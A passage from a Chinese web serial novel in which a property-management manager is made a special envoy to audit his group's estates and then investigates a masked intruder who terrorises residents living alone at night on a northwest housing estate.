“我今天找你来，是有几件事想听你当面讲一下你的想法。”老板不再聊其它，直接切入主题。 很奇怪，他这样的方式我反倒不紧张了，“好，您问！” “你的业绩自是不必说了，在集团最近一次的财报上是排名第一的。你的社交能力、跟领导的相处上，我也没发现问题，老袁和林皓，这两个人并不是一条战线上的，但是他们对你的评价竟然都好，这说明你要么是圆滑世故，要么确实是璞玉一块，善良率真。我要问的是，你觉得我现在的这么一大摊子，首要面临的问题是什么？” 这问题，高度拔的太高了吧？我一个区总，要我用老板的眼光去看经营。 我瞅瞅老袁，他也明显意外，没成想老板抛出的问题这么大。 “吕向荣，别看袁振文，你若果真像他们说的那样，有大将之材，你根本不用紧张。今天这个场合，我特意没选在办公室，就是这个目的，你就当我是袁振文，咱们随便聊聊心得。” 我一看，老板这是厌烦我的唯唯诺诺了，也是，我怕什么呢？不是早就做 好了破釜沉舟的决心了吗？大不了回去开我的中医馆。 “董事长，我确实有一些个人见解，既然今天您给我这个机会畅聊，我就说说。目前咱们集团的盘子有点大，而且各地区水平参差不齐，大部分还都停留在传统物管模式，没有很好的与新型的物业管理模式接轨，这样下去的结果很容易被拖垮。” 我停顿下来看看老板，他没什么表情变化，示意我继续说，这当老板的真够深沉的，没点本事你根本没法判断他是高兴了还是生气了。 不管了，今天就豁出去吧！ “比如我管理的大区就存在这样的情况，比如临市的四季云顶，如果没有合作经营，那个盘子的地理位置和硬件配备，一定拖我区域整体业绩的后腿，地理位置太偏了，楼盘的各方面条件也很一般，业主构成基本都是租户。以小见大，我相信咱们集团类似这样的盘子还会有。现在市场竞争这么激烈，兼容式生存，肯定是疲惫的。” “那你有什么解决办法？”老板突然就插了一句。 “解决办法确实有，其一就是想办法利用楼盘的特征开展自拓经营，其二嘛，就是时下比较流行的说法，瘦身呗，能舍掉的就得舍掉了。”我没多想，直接就说了想法。 这时候我明显能够看到老板眼中的神色是悦色了，他看向老袁说：“振文啊，你确实没有白为他跟我玩套路，这小子的能力确实值得你这么对他。” 袁振文“抱病”抗议的套路被老板当面戳穿，有点不太自然，嘿嘿的笑着说：“董事长，啥都瞒不过您，那您今天可还满意？” 第一百六十一章 提线木偶我不做 这，老板的问题不是大到高格局，就是尖锐到戳心窝子啊！ 这件事我肯定是不满意啊，我当时还因为这个事情诟病过集团的管理，我还要跟林皓一起走，要不是后来老袁的任人唯贤，开明领导，我恐怕早就离开了。 但是现在我能和老板这么说吗？要不要戳破无毒？ 我知道老袁此刻一定为我捏了一把汗，一定是担心我耿直的毛病又占上风。 但是现在的我不会了，因为现在的我对这件事确实有了不同的看法。 “董事长，这件事我有新的看法，我这新的看法您一定未曾想到。”我很坦荡的迎上老板的目光。 “哦？你说说。”老板现在看向我的眼神里没了初见时的上对下，完全被倾听和感兴趣所替代。 “新的看法也是我停职之后才想到的。当时为了保住帝豪庭这个盘子，我不惜违背自己的原则舍掉了刘明玉，因为我知道集团需要的肯定是大局为重。我不能因为自己的好恶给整条船的人带来危机。集团就是这条船，我们每个人都是船上的一员，目的是一致的，都是为了让这艘船行驶的更稳。同理，林皓那件事也是一个道理，我已经可以理解集团的初衷。” 老板听我说完了这一席话，笑眯眯的样子已经掩饰不住，但是他还是不打算放过我，依旧步步紧逼的问：“可是你理解了集团，也为集团着想了，集团却停了你的职，你还是没有怨言吗？还是不怀疑集团的决定吗？” “有！而且我想过离开，我跟袁总也说过。但是我不想这么不明不白的离开，这些年我做的工作、产出的成绩，我相信集团会看到的，所以我愿意等到最后，看看集团最终的处理结果是什么。”话聊到这一刻的时候，我已经完全没有紧张拘束这些情绪了，坐在我对面的老板跟我平日接待的业主没什么两样。 “很好！吕向荣，集团有最新决定了，集团指派你为特派员，对旗下全部的物业进行审核评估，以半年为期限，把你的评估数据汇报上来，我们会根据你的数据做下一步的瘦身动作。”老板一锤定音。 我和老袁都惊住了，但是我俩的惊讶绝对不同，我想的是我这岂不是要砸了很多人的饭碗？他想的一定是为我感到高兴，特派员这个职位等于又升职了。 “向荣，还不谢谢董事长啊？”老袁兴高采烈的提醒我。 可是我心里还没决定要不要接，砸人饭碗的事情我真是不想干。 “怎么？不想去砸别人饭碗？”老板睿智得让我心惊。 我点头，在这么聪明的人面前，掩饰和虚伪等于给自己减分。 “你换个角度想，按照你之前说过的理论，我们如果再不进行改革，恐怕连你这排名第一的区域，都会有人要没饭碗了，集团现在的经营效益很紧张，根本没有你们看到的那么好。市场竞争激烈，成本管理难、费用收缴上不去、尤其能耗一块，一年需要支出的费用大到你们想不到。”说到难处，老板止住了，他不想再深说。 可是我瞬间就理解了，没有两全其美，而且或许正是因为是我，也许我能给被瘦掉的人新的机会也说不定。 “董事长，我愿意试试！谢谢您对我的信任！”我直接就表态了。 “你很聪明，一点就透，我很看好你。”老板笑了。 “董事长，但是我有一个条件，您一定要答应我！”放开自我以后，在老板面前胆怯已经不存在了。 “哦？你说说，我还第一次听见有人让我必须答应的。”老板的表情又开始了捉摸不透。 这时候老袁用脚轻轻的踢了踢我，我知道他是提醒我说话要注意。 “既然是特派员，您就要给我权力，我不想再这样不明不白的被停掉。当然，做每个决定之前我都会事先获得您的同意。如果这个职位只是提线木偶，那就算了。” 老袁不说话了，空气中的温度急剧下降。 老板也半天不说话，我摸不清他是不是生气了，但是我不想妥协。 “行，给你权力，就像你说的，做决定前要得到我的同意。提线木偶不存在的，如果是那样，我没必要这么远让你来，特意选派你去做，身边任何一个人都可以。” 老板的话很实在，是这个道理，我就这样愉快的接了这个任务。 老板安排老袁给我介绍集团整体的盘子结构，还有需要考核评估的维度，然后就先行离开了，走之前还特意把手机号码留给我，告诉我这条线是我专用。 “向荣，为你高兴！这件事你可以干，不过确实举步维艰。这 些年，几乎每个盘子里都有家族的关系网渗透进来，你说话做事务必小心谨慎。”老袁提醒我。 我立刻想到，这个任务并不是实现职业理想的任务，而是一个替老板开路的任务，我很有可能成为炮灰。 “袁总，我就是按照指令干完需要干的事，其它的我不管，我也不会做。”我回。 “你啊，你的性子我太了解了，就怕你到了现场，正义感爆棚，就得出乱子。”老袁说着担忧。 “这样吧，我们保持联系，争取每周都通个气，有事我也能帮你出出主意。我可不希望走到了这一步，你成为他们的炮灰。”老袁诚恳的看着我。 我心里一热，老袁已经成为跟林皓一样，对我关怀、为我着想的朋友了。 “好！”我点头，并用眼神告诉老袁安心。 从会所出来，我和老袁一刻也没耽搁的回到集团，老袁把老板交代给他要给我讲解的内容很详尽的告诉了我，包括一些敏感的特征，也告诉了我。 最重要的就是评判一个物业公司是否需要瘦身的维度，我一笔笔的记在本子上。 等全部内容都讲完以后，我赫然发现，自己竟然接了很多看上去就不可能完成的任务。 顿时觉得自己好像被老板算计了，掉入了他的圈套里，不光是我，连老袁都掉进去了。 集团下设三个大区，除了我管理的，另外两个大区中有好几个楼盘都在远郊，最关键的是，这两个大区的区总都是厉害角色。 第一百六十二章 楼内魅影 我这次的任务包括两个大区、17个楼盘，还有几个急需解决的奇葩问题，虽然地区负责人没有上报，但是集团也早有耳闻，这就是家族企业的“透明”之处。 临出发之前，我安顿好了爸妈，告诉他们我要离开一段时间，我爸听说我成了“特派员”，开心的在屋里走来走去。 “向荣光宗耀祖啦！好事啊！好事！”我爸反复嘟囔着这几句。 我姐也回来了，在旁边看着我爸开心的样子，假装嫉妒的说：“爸，你就是重男轻女，你闺女不光宗耀祖吗？” 我爸看看我姐，嘿嘿嘿的笑了，说：“傻丫头，你就在爸身边儿，爸不让任何人欺负你。闺女不用那么大抱负，生活幸福就行。” 一句话不但说的我姐眼泪汪汪的，我都动容了。 王敬之嘱咐我管住嘴，管住时不时爆棚的正义感，速去速归。 “向荣，我最近除了安排开中医馆的事情，还顺带着到正阳附近去找许德生的踪迹，我很担心晶晶，实在等不及警察的消息。”王敬之担忧的说。 “师哥，你可以用一下我们的手艺，看看冯晶晶具体在什么方位啊。”我建议。 “我试了，显示就在B市，具体方位就是正阳那边。” “那你没事儿就去溜溜，注意个人安全就行，师哥，你要记得你不是一个人，你是我们全家的家人，绝对不能随意将自己置身于危险中！许德生不是个简单的恶人，你不要太轻敌，尤其他还控制着冯晶晶。”我提醒王敬之。 “你放心，我明白。” 我的第一站是西北某市近郊的一处物业，新家园小区。小区建成有年头了，物业公司也更换了好几茬，我们公司是第五拨。 出了站台，就看到有个五大三粗的汉子在跟我招手，难不成这就是西区负责人高文康？ “吕向荣吧？”对方问我。 “高文康？”我看着面前这个壮汉，个子高大，膀大腰圆，浓眉方脸，相貌威武。 “对呀，是我！”普通话稍显生硬，夹杂着西北地区特有的口音。 我热情的伸出手跟他握手，“我们之前没见过是吧？参加过几次集团会，却对您没印象。” 高文康招呼我上车，然后豪爽的说：“你不认识我，我可认识你，据说你是耳听六路、眼观八方啊！” 我惊诧莫名，这是什么传说，我岂不成了千里眼顺风耳了！ “高总真能开玩笑，你说的不是我吕向荣，你说的是千里眼顺风耳。”我回。 他一边开车、一边歪头看了我一下，然后哈哈大笑起来，“吕向荣，你这性格我喜欢。” 其实我对身材魁梧的人也有莫名的好感，这第一印象算是我们彼此都给了满分。 “向荣兄弟，我出身行伍，没念过多少书，咱们称呼不需要这总那总的，你叫我名字就行，好不好？省的我们拘束。”高文康直率的建议。 “好啊！文康，我也是行伍出身，你是哪年兵？”遇到同是当过兵的人，像遇到了兄弟。 “我是95年兵啊，你也是啊？”高文康跟我一样激动。 “看来我没白来啊，在这遇到兄弟了。”我一说这句话，高文康的态度又热情了很多。 “哎呀呀，这老板，早点说啊，我们先去吃饭多好，我带你尝尝咱们西北的特色啊！” “不着急、不着急，这会儿天还早呢，先把正事儿办了呗。对了，你这里有7个物业小区，先安排我去新家园是什么原因啊？”我顺势问到工作。 “这......哎！”高文康欲言又止。 “文康，你这起个话头不言语了是啥意思？搞得我这好奇呢！”我着急的问。 “向荣兄弟，我要是早知道你跟我这么对脾气，还是一同当过兵的兄弟，我就不带你来这了。都怪老杭，这家伙鬼心眼子太多了！”高文康懊悔的说。 “我彻底懵了，兄弟，你能不能一次性给我讲明白？”我的耐心达到了顶点。 “老杭是我的客服，平时经常帮我处理大小事务，俨然我的一条胳膊。前天接到集团特派员要来的指令，他就和我研究，说是集团看我们西区效益不好，要裁员，先找人来探底。我们对砸人饭碗的人都很痛恨，所以，就先安排你上新家园了。” 我心下了然，下边人会这么想，我早有准备，可是这新家园什么情况？要先让我去蹚水？ “新家园什么情况呢？”我看重的点还是在楼盘上。 “新家园现在正闹鬼影呢，警察也抓不到，搞 的业主人心惶惶的，天天去物业闹，物业经理搞不定就来骚扰我，给我整的不厌其烦的。”高文康说。 “鬼影？这不扯淡么！咱们都是当过兵的，你还封建迷信吗？”我问。 高文康有点不好意思的瞅了瞅我，又继续开车。 “向荣兄弟，这事儿还真不好说，一句两句说不清楚，我不好评论。” 我心里想，怪不得集团没接到这里上报的消息呢，这事儿也没法报，怎么说呢？ “文康，那你带我来新家园，是需要我捉鬼吗？警察为啥搞不定？”我又问。 “咳！看你说的，你也不是钟馗，让你捉什么鬼呀！我是带你去见识见识那帮业主，老杭说，让你跟业主面对面，知道知道我们有多难！” 他顿了顿又说：“警察也不是搞不定，主要是我们这个事儿损害没达标，但是嚯嚯人的程度不小，警察每天那么多案子呢，咱们这个排不上号。” 这回我全明白了，敢情是要我去当箭靶子，遭遭罪啊！ “这个鬼影都做了啥？”我还是对这个最好奇。 “说来话长了，我把车停一边，给你好好讲讲。”高文康找了个位置靠边停车，我了解到了新家园的鬼影事件。 新家园地理位置的原因，业主大部分都是租客，而且有别的城市过来做买卖的短租的也不占少数，所以物业管理起来就有点麻烦。 一个月前，物业接到好几起投诉，说是夜里经常有人敲门，但是出来看却没人，还有用钥匙插门锁孔开锁的声音。 有独居不敢开门的，顺着门镜往外看，却漆黑一片什么都看不到，后来想想，可能是有人在外面挡住了门镜。 第一百六十三章 要你们有什么用！ 警察来了以后，调取了监控，发现就是一个影子一样的东西专门在夜里11点以后到处乱窜，而且这个影子去骚扰的都是独居业户，也不分男女，男的也去骚扰。 其中有一段视频很清晰的拍到了他先敲门，然后堵门镜的经过，但是人脸、人体特征却辨识不出来。 警察说这个人经过精心打扮，而且对监控的位置和角度很了解，所以才会这样。 因为没抓到人，警察做了现场调查，提取了物证，跟物业说后续要加强管理，有事马上报警，就离开了。 本来以为警察来过了，鬼影就不敢再出来闹了，可就在当晚，这个鬼影竟然用钥匙打开了一个独居女业户的门，因为女业户养了条大狗，没有栓链子，冲过去大声的叫，才没有发生什么事。 这件事以后业委会的大爷大娘不干了，经常来物业晃悠，说是虽然现在没发生什么恶果，但是如果不给人逮到，就容易酿成大问题。 物业也加强了巡逻，甚至专门晚上出来逮人，可总是失之交臂，比如今晚上在A巡逻呢，B就出事儿，明晚上去B了，A又出事儿，持续了几次，物业甚至开始怀疑自己内部有问题。 “怎么？后续一直在出事儿吗？”我插嘴问。 “是的，一直在出事儿，就跟个鬼影一样，就大半夜的吓唬人，也不拿东西，就吓唬你！业委会给我们下了通牒，再逮不到人就要换掉我们。哎！” 我沉默了，这算什么，这个鬼影的目的是什么呢？就是吓唬人吗？ “其实换就换了，这个楼盘我们根本不赚钱，每个季度还要负担很高的设备维保费，要不是新家园扯我后腿，我的业绩也不能排倒第一。”高文康看得很开。 这个确实是我此行的目的，类似于这样的楼盘是在老板要瘦掉的规划内的。 “新家园在收缴费用、做满意度调研这些方面，很多时候都找不对人，有的租赁协议是房主付钱，有的是租客付钱，这里面就有钻空子的，拖延时间，纠缠不清。业委会是咱们集团的物业接手后才建立起来的，一共就三个人，还都是大爷大娘，因为就他们是原住民，可是大爷大娘也不顶事儿啊，也不帮我们物业说话。”高文康又说。 “走吧，既然来了，我就帮你看看吧，听听大爷大娘发发牢骚。”我微笑着说。 高文康很意外，还有点愧疚的说：“对不住啊，兄弟，晚上我带你去尝尝西北特色，安抚一下你受伤的心灵。” 他说完后发动汽车，我们两个都哈哈大笑起来。 新家园的位置就跟四季云顶一样，三环和四环交界处，所不同的是，新家园的几栋楼没有四季云顶那么高，房龄不短的原因，高层有电梯，多层都是楼梯，而且高层只有两栋。 “鬼影也来不带电梯的多层吗？”我问高文康。 “到处走，ta可不管你有没有电梯。你还没看见监控视频里那个影子呢，跟会飞一样，那速度才快呢！”高文康回。 “业委会这三个人，不比鬼影难缠，一会儿你就知道了。” 我跟着高文康来到物业办公室，新家园的物业团队5个人，没有配备物业经理，有事就找高文康。 一进门就看到有两个大娘、一个大爷一脸严肃的坐在屋里，这应该就是业委会的了吧。 “高经理，你干嘛呢？让我们等这么久，我老伴等着我回去做饭呢！”满头白发的大娘说。 “就是啊，而且我和你说啊，我今天就和你唠鬼影的事，别的事我可没时间，我要去接我小孙女幼儿园放学。”另一个穿着红衣服的大娘说。 就那个大爷没说话。 “抱歉抱歉，我去接我们集团领导了，路上耽搁了一会儿，我们抓紧时间，这就开始。”高文康赶紧哄他们。 “这位小伙子是集团领导？你们物业的领导怎么都跟你一样年轻啊？这不行啊，没有经验，也抓不到人！”大爷说话了。 “大爷，年轻并不代表没经验，我们这位吕领导可是捉过不少鬼哒！”高文康信口开河。 我不悦的瞪了他一眼，这种玩笑怎么能开呢！他暗暗的给我比划，意思让我多担待。 算了，此行主要目的也不是他。 “吕领导，那你说说你都捉过什么鬼呀？我们院子里这个影子鬼你捉过没？”红衣大娘问我。 我真是哭笑不得，这年纪大的人怎么说什么就信呢！ “大娘，我不会捉鬼，我就是一个物业经理。”我必须正名。 结果，三个人都愣住了，不约而同的说：“那你来做什么？害我们等了这么半天，要你们有什么用噢！” 业主如果对物业公司的评价已经达到了“要你们有什么用”的地步，说明这工作干的已经不讨好到了极点。 “大爷大娘，怎么会没用呢？你们平日里的环境卫生、园区绿化、安全保卫、设备设施的维护不都是我们在做吗？因为形成了习惯，就感受不到它的重要性了。”我说。 “我没有你头脑反应的快，你就说说这鬼影你能不能解决吧！”白发大娘短平快。 “我既然来了，也知道了这件事，我一定尽最大能力解决它，给我一点时间，我先了解了解情况。”我回。 三个人不说话了，互相看了看，然后大爷说：“吕领导，新家园的物业费确实不高，但是我们平时也没那么多事儿，对你们提供的服务也就睁眼闭眼。比如你们那保洁对付我们，隔个几天才来收一次垃圾，楼道里的地面根本就不给拖；还有你们那保安，车辆出入管理也不严，门口的抬杆儿总是开着，车随便进......这些例子不胜枚举，物业费不高的原因，我们也就不投诉也不说啥了。但是现在这个安全问题不能忍啊，你想想，如果有个人总三更半夜去敲你家门，还用钥匙捅锁眼儿，你什么感想？” 大爷说的有理有据，想不到高文康把这里的物业管理得这么不带劲，让人家说出这么多不好来。 我又不好代表高文康表示什么决心，只能沉默。 第一百六十四章 杭易道 业委会的大爷大娘数落完物业的不是，限我们一周之内给解决问题，如果不然就解约没商量，然后就一个跟着一个的离开了。 我看看高文康，他唉声叹气的不说话，我问：“文康，你有什么计划？” “警察都抓不到，我能有什么计划！解约就解约好了，这个盘子我早就不想要了。”高文康的想法很消极。 “那你想没想过这五个员工怎么办？突然的失业，他们想很快找到匹配的工作可不容易啊！”我问。 高文康被我问住了，愣愣的不说话，而且我看得出来，他的心里是在意这些员工的，这一点我比较满意。 “向荣，那你说什么搞？”高文康问我。 我想了想说：“文康，我觉得这是两件事，尽管我们最后放弃了这个盘子，也要把该做的事情做了，先尝试去抓这个鬼影，其他的事情你再想想。咱们放弃一个地方很容易，可是员工的饭碗就真的没了。” 高文康眼睛亮亮的看着我说：“向荣，没想到，你还这么亲民啊！” “哈哈哈，文康，看你说的，我本来不就是和他们一样的么，分工不同而已。” 高文康赞许的拍拍我的肩膀，然后问我：“你准备怎么抓鬼影？” 这句话真的给我问住了，别说鬼影了，一个许德生我都没抓到。 但是我不能跟他这么说，我沉默了一会儿说：“今晚上我们会会他。” 高文康看了看我，跃跃欲试的说：“行，有你搭档，我愿意冲一次。” 做了决定之后，高文康要拉着我去吃特色，“走吧，好好吃一顿，晚上好干活！” 看着热情的高文康，我确实感到了饥肠辘辘，“行，这么积极推荐，有多好吃啊？” “保证你吃了一顿想下一顿！”高文康自信的拉着我上了车。 高文康带我吃的是面条，面条的爽滑和劲道没得说，主要是那面条汤，浓郁鲜美又不那么肥腻，配套的烤大肉串是一绝，我吃了两三个停不下来。 “怎么样？我们这里的特色你没吃过吧？”高文康问。 “没吃过，第一次吃到这么好吃的面和肉串，你确实没夸张，不虚此行。”我回。 这时候高文康的手机响了，他接起来问：“老杭，什么事？” 是他的客服，我听见他一边点头、一边嗯啊的应承。 “哎呀，不是你想的那样，别瞎说了。什么？开过了，他们那嘴巴你知道的，嗯、是的、是的。” 然后又是沉默，电话那边叽哩哇啦的，听不清楚在说什么，我不禁感慨，这个老杭挺能说的呀！ “对，我们晚上要蹲守抓鬼影，哎呀，不然怎么办？没事的，吕总很厉害，不是你想的那样，对，不是！” 我听的有点晕，这都是什么乱糟糟的。 高文康结束通话后看看我，喝了口面条汤，笑嘻嘻的说：“老杭问我，晚上需不需要给我们弄个外援？” “啥外援？”我好奇。 “他怕我们两个搞不定，要把他家的亲戚弄来？” “为什么是他家亲戚呢？亲戚做啥的？”我预感这亲戚一定有问题。 高文康有点心虚的看看我，说：“他家亲戚是会法术的。之前就说让他亲戚来给看看，但是对方要的钱挺多的，我们也没有那个钱，就作罢了。” “那我们现在有钱了吗？”我问。 “没、没有啊，但是老杭说，只要你在现场看到了严重性，而且他家亲戚把鬼影按下，这钱你能跟集团申请。” 这都是什么逻辑呀！最让我哑然失笑的是高文康，这么魁梧的一个汉子，怎么就被这么个坏蛋给镇住了呢，而且竟然还迷信！ “文康，你觉得合适吗？你认为鬼影真的是鬼？”我问。 高文康不言语了，喝光了碗里的面条汤，然后说：“是不是鬼，捉到就知道了，走吧，你放心我不是怕ta，我根本不怕，我是想着各种办法都试试，说不定哪一个就管用了。” 我无语了，看来我是说服不了高文康，只能走一步看一步。 我们在物业办公室一直呆到夜里十点左右，来了一个小老头，个子不高，身体很壮实，眉毛粗黑、眼睛细眯，穿着罩服，束着皮带，小腿缠着绑腿，右边脸上有一颗大黑痣。 “高总啊，我来了！”这老头的声音很洪亮，大嗓门跟身高形成了很大的对比。 “哟！杭老，对不住啊，这么晚了，把您给请来了。”高文康赶紧热情的招呼老头坐下。 “这位是我们集团派来的特派员，吕向荣，您叫他吕总就行，他官儿比我大！ ”高文康嘿嘿的笑着介绍。 我一看，既然年龄比我长，我别摆架子了，赶紧问候才是，“您好，杭老。” 被叫做杭老的老头没想到我这么平易近人，还主动招呼，有点不是很好意思，赶忙给我浅浅的作了个揖，“吕总好，在下杭易道，有礼了。” 看这行头，难道是老道？ 我用口型询问高文康，高文康轻轻点头，这杭易道照比金算子可差太远了。 “杭老，坐吧，您不用这么客气，只是今天这个事情，我也是第一次参与，还不清楚情况，也许会有风险的，如果伤到了您，我和文康都会过意不去啊！”我想先把事情的严重性说在前面。 “吕总不用担心我，我早就听杭凯说过这个事情，一个鬼魅而已，不需要担心。”杭易道还未见过情况就给定性为鬼魅，又如此的自信，我对他的“本事”深表怀疑。 “杭老，您还未见过，就能判断是什么吗？”我问。 “那是自然，我入道几十年，这点小事都在脑袋里装着。”他还是自信满满，却也不解释细节。 我看着他，越发觉得他就是一“伪道”，照比金算子的感觉真是差太远了。 这时候物业办公室的电话铃声响了，一声紧似一声，在这个时间安静的房里，尤其让人焦灼。 “喂，您好，物业办公室，请问您有什么事？” 一个恐惧的女声传来，“物业吗？快来！快！有人在外面开我的门锁！” 第一百六十五章 捉鬼影第一战 “什么？您是几号楼几单元几楼的？”高文康紧张的问。 “四号楼二单元顶楼。”对方的声音压得很低，不知道是不是怕外面的人听到。 “文康，你得让她报警！”我提醒，这么严重的情况不能不报警。 “业主，您快报警，我们马上就过去！”高文康跟对方说。 “已经报过警了，哦，好的，我们马上去！” 高文康挂断电话，看看我，又看看杭易道，“不知道那是个啥玩意儿，你们务必确保个人安全，安全第一！” 我和杭易道都点头，然后跟着高文康向四号楼奔去。 四号楼是新家园的高层，顶楼33层，一个单元只有一部电梯，一梯两户的户型。 我们三个人赶到电梯口的时候，电梯正好在一楼，我们刚一进去，电梯就启动了。 刚上到二楼，电梯停了，应该是二楼有人叫梯，可是电梯门打开后，我正纳闷这么晚了谁会坐电梯上楼呢，却没有任何人。 我赶紧按关闭键，电梯缓缓上行，到了三楼，又停了，门开后一样的情况。 一层一停的情况一直持续到八楼，“文康，不对，一定是有人在外面搞鬼，如果我没猜错的话，电梯一层一停会持续到顶楼，不能坐电梯了，走楼梯吧。” 高文康回：“你说的对，一定是有人提前在外面每层都叫了电梯，走，上消防通道！” “莫急，如果对方是引诱我们去消防通道呢？”杭易道发问。 事不宜迟，由不得仔细思考，我说：“杭老，你坐电梯，我和高文康跑上去，我们顶楼见！” 我和高文康从八楼往楼上跑，等我们上到了15层，我特意拐过去看了一眼，电梯还在11楼，果然是一层一停。 这个鬼影一定不是鬼！ 跑到22楼的时候，高文康已经累得气喘吁吁，“文康，你不急，我快点上去。” 说完我还是保持快速往楼上跑，可是没走两层，我就听见楼上一声喊叫：“快来人呀！抓坏人啊！” 紧跟着还有奔跑和拖拽的声音，糟了！莫不是出事了？我立刻想到了穆艳红。 不行，绝对不能再发生一次穆艳红的悲剧了，我使出最后的牛劲，加快速度往楼上跑。 这时候楼上的声音越来越响，还夹杂着女人的哭声，最后是门声，“咣”重重的一响。 我心急如焚，却听到一声女人的惨叫，然后就没音了。 这时候高文康也赶了上来，他也是听到了声音，急的不行，正当我俩眼神刚对上的时候，就眼见着一个飞快的影子窜下来。 “文康，抓住他！就是他！”我第一时间反应过来，转身就去抓那黑影。 可是黑影闪躲得特别迅速，我手里一滑没抓到。 但是我瞅清了，就是一个人的样子，穿着一身黑色像绸缎一样材质的衣服，很紧身，很显身材，脑袋瞅不出，整个一个黑球。 高文康抓住了黑影的脚踝，我心里一喜，可是不知黑影怎么搞的，就那么一拧一歪，挣脱了。 再然后神奇的一幕就出现了，黑影竟然整个人坐到楼梯的扶杆上滑了下去。 他没有走楼梯，下滑的速度特别快，我和高文康往下奔跑根本赶不上他，但是我没有放松，不管怎样，只要能看到人，我就一定要抓住他！ 黑影到了一楼的时候，我到了四楼，而且我耳边已经听到了警车的声音。 就这么一晃神的功夫，人影没了，我竟然没看到他是出了单元门，还是转到了别处。 “人呢？”高文康也赶到了一楼，上气不接下气的问我。 “我没看清他是不是出去了，走，去地下看看！”我说。 “向荣，我还是去顶楼看看人怎么样了，你去地下侦查，你自己可不可以？”高文康担心楼上出事。 我一想也对，“你去吧，我一个人没事。” 高文康这回走了电梯，正好跟赶来的警察一起上了楼。 四号楼地下两层都是停车场，如果赶来的警察没有发现可疑人影，那这个鬼魅一定是下了地下。 停车场的照明是没问题的，可放眼看去，全是车，根本无从找起，怎么办？ 我又巡视了好几圈，把两层都看遍了，也没发现什么，只好悻悻的上楼。 等电梯到了顶楼，一片狼藉，走廊里还有血迹，难道真的出事了？我心里一阵阵的懊悔，如果平时勤加练习，我上楼梯的速度再快一点，该多好！ 两个警察正在忙碌，一个在拍摄，另一个背对着我在询问一个人，我快步走过去，是一个披头散发的女人，眼泪鼻涕哭得稀里哗啦的。 我一看她应该是没事啊，一定是吓坏了。 再仔细一看，惊住了，房门和走廊交界处的暗影里，一只大金毛瞪着眼睛死了，肚子那里都是血，看来走廊里是狗血。 我站在旁边听着女业主断断续续的叙述，了解了大概。 她给物业打电话的时候，那个用钥匙开自己房门的声音一直在，因为她在里面反了锁，所以这么半天才没有被捅开。 她养了一只大金毛，从小就养的，很通人性，平时从不轻易吠叫，这时候也感觉到了危险，嘴巴里呜呜的，一直盯着房门。 女业主看看自己的大狗，心里稍微安了些，等着我们和警察上门。 房门没被捅开后，外面停了好一会儿都没声音，她猜外面的人放弃了，准备通过门镜看看外面，可是门镜看不出去，后来证实门镜被口香糖糊住了。 因为有大金毛，她见半天没动静，就把门开了个小缝想看看。 可是刚打开门，就看到了两只又大又黑的脚站在那里。 女业主吓坏了，赶紧关门，但是对方用脚别着，关不上。她开始大喊呼救，这时候我们正在22楼，大金毛开始跟那个黑影扑咬。 如果没有这只狗给拖延时间，恐怕受伤害的就是女业主了，黑影应该是听到了自下而上越来越近的脚步声，很迅速的给了狗两下子就逃了。 女业主反应过来看的时候，金毛已经被开了腹。 我看着站在我对面一脸挫败感的高文康，心里特别不是滋味，我没做到，虽然是只狗狗，但是也是一条生命啊！ 这时候杭易道才慢悠悠的出现，我和高文康看着姗姗来迟的他，他却说：“鬼影抓到了！” 第一百六十六章 无从查起 这句话把警察都惊动了，警察第一时间问他：“人呢？在哪里？” 我和高文康也急迫的看着他，“在一楼，我给他绑住了，你们跟我来吧！” 一楼？难道是我判断错了？鬼影从一楼单元门出去的？ 可是不对呀，刚才杭易道明明是坐电梯上行呀！ “杭老，你不是坐电梯上行的吗？什么时候下到一楼的？”我问。 “我上来的时候，正好看见鬼影窜出消防通道，我看到你们俩在跟他周旋，可是他却跑了。于是我重新进入电梯下行到一楼，想碰碰运气。出了单元门，在那个西门的花亭位置逮到了他。”杭易道不紧不慢的说。 我喜上眉梢，“杭老，多亏您老了！走，我们去看看。” 警察跟我们一起到了西门附近的花亭，里面果然绑了一个人，该说不说的，杭易道绑人的水平真不低，这么久了还结结实实。 可是我越看越不对，这个人能看出是个人，刚才跟我和高文康纠缠的那个，明明脑袋就是个黑球。 “杭老，不是他。”高文康说。 警察跟杭易道都很诧异，杭易道问：“怎么不是他呢？” “刚才我跟鬼影打了个照面，那脑袋就是个黑球，是加工过的，这个人就是个脑袋啊！” 警察被高文康的话搞晕了，我补充解释道：“那个鬼影浑身上下穿了特制的绸缎似的衣服，头上包了什么东西，可是这个人浑身上下的装束都不对。你们还是先问问吧。” 经过警察的询问，确实乌龙了，这个人是楼上要考雅思的学生，晚上出来换换脑子，结果就被杭易道给逮了。 还不允许人家说话和挣扎，这孩子一度以为自己遇到人贩子了呢！ 最后是高文康给赔礼道歉，一顿安抚，那个孩子可吓坏了，估计以后可不敢这么晚出来换脑子了。 警察提取了现场的痕迹，还有监控录像，说是近期会派人过来巡逻，然后就回去了。 我们三个人回到物业办公室，已经是夜里一点多了，杭易道疲惫的直打呵欠。 不管怎么说，人家知道了事情能特意过来帮忙，置自己安危于不顾，我就不该去指责他帮倒忙。 “杭老，您先回去休息吧，我帮您叫辆出租车。”我说。 高文康满脸的不乐意，拦住我，说：“我给他叫，走吧。”高文康示意杭易道跟他走。 我看出来高文康在忍着对杭易道的不满，这个家伙，可别最后前功尽弃再数落人家一顿，既然忍了就要忍到底。 没过多一会儿他就回来了，愁容满面的看着我，“向荣，今天让你见笑了，唉！” 高文康一屁股坐在椅子上，疲惫不堪的又说：“那狗死得真冤啊！招谁惹谁了！” “这回你也看到了，你还认为是鬼吗？”我问他。 “是我不好，是我对我们原来的信仰产生了怀疑，我被这纸醉金迷的生活给腐蚀了......” “打住！说点严肃的！”我赶紧制止他胡诌。 “确实，不是鬼影，就是一个人！一个恶人！奶奶的！”高文康气得爆了粗口。 “别急，是人就好办，我们一定能抓到他！”我很有信心的说。 “向荣，你哪来的信心？” “我们先看看监控录像，整个园区的从晚上七点开始看，我就不信看不到他从哪来的！”我回。 我的话提醒了高文康，他拉着我就去了监控室。 可是我们俩把眼睛都要看废了，就是没看到有鬼影一样的人从哪里进来的，倒是把顶楼的惨案过程看了个好几遍。 看完以后，我俩都持续性低沉，看到那个大金毛为了保护大喊大叫的主人，咬住鬼影的腿子不撒口，最后被开膛破肚，我们俩都难过得不行。 当然了俩大老爷们倒不至于抹泪，可是我们都不想开口说话，空气都郁结了。 “走！我们亲自去看看，每个角落都搜一遍，我就不信了，电子眼不好使，我们上人眼。”我招呼高文康跟我走。 高文康积极响应，我们俩开始了仔细勘察。 新家园进出一共两个门，北门和南门，另外还有个西门，常年封闭不开。 